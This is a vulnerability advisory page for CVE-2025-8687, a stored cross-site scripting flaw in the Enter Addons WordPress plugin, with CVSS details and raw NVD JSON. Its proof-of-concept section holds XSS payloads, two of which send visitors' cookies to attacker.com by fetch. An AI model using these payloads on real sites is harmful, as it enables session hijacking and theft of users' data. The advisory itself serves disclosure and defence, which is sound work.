Security Vulnerability Report
中文
CVE-2025-8687 CVSS 6.4 MEDIUM

CVE-2025-8687

Published: 2025-12-13 16:16:56
Last Modified: 2026-04-15 00:35:42

Description

The Enter Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown and Image Comparison widgets in all versions up to, and including, 2.2.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Enter Addons plugin for WordPress <= 2.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Enter Addons Plugin XSS PoC for CVE-2025-8687 --> <!-- Requires Contributor+ role in WordPress --> <!-- Method 1: Via Countdown Widget --> <div data-date="2025-12-31" data-end-text="<img src=x onerror='alert(document.cookie)'>" class="ea-countdown-timer"> <div class="ea-countdown-inner"></div> </div> <!-- Method 2: Via Image Comparison Widget --> <div class="ea-image-comparison" data-before-label="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" data-after-label="After"> <img src="before.jpg" alt="Before"> <img src="after.jpg" alt="After"> </div> <!-- Method 3: Generic XSS Payload --> <script> // Steal admin cookies/session fetch('https://attacker.com/api/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }) }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8687", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.280", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Enter Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown and Image Comparison widgets in all versions up to, and including, 2.2.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3383539%40enteraddons&new=3383539%40enteraddons&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/enteraddons/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bcd6c085-9fd8-43d9-b244-ab91146f610f?source=cve", "source": "[email protected]"}]}}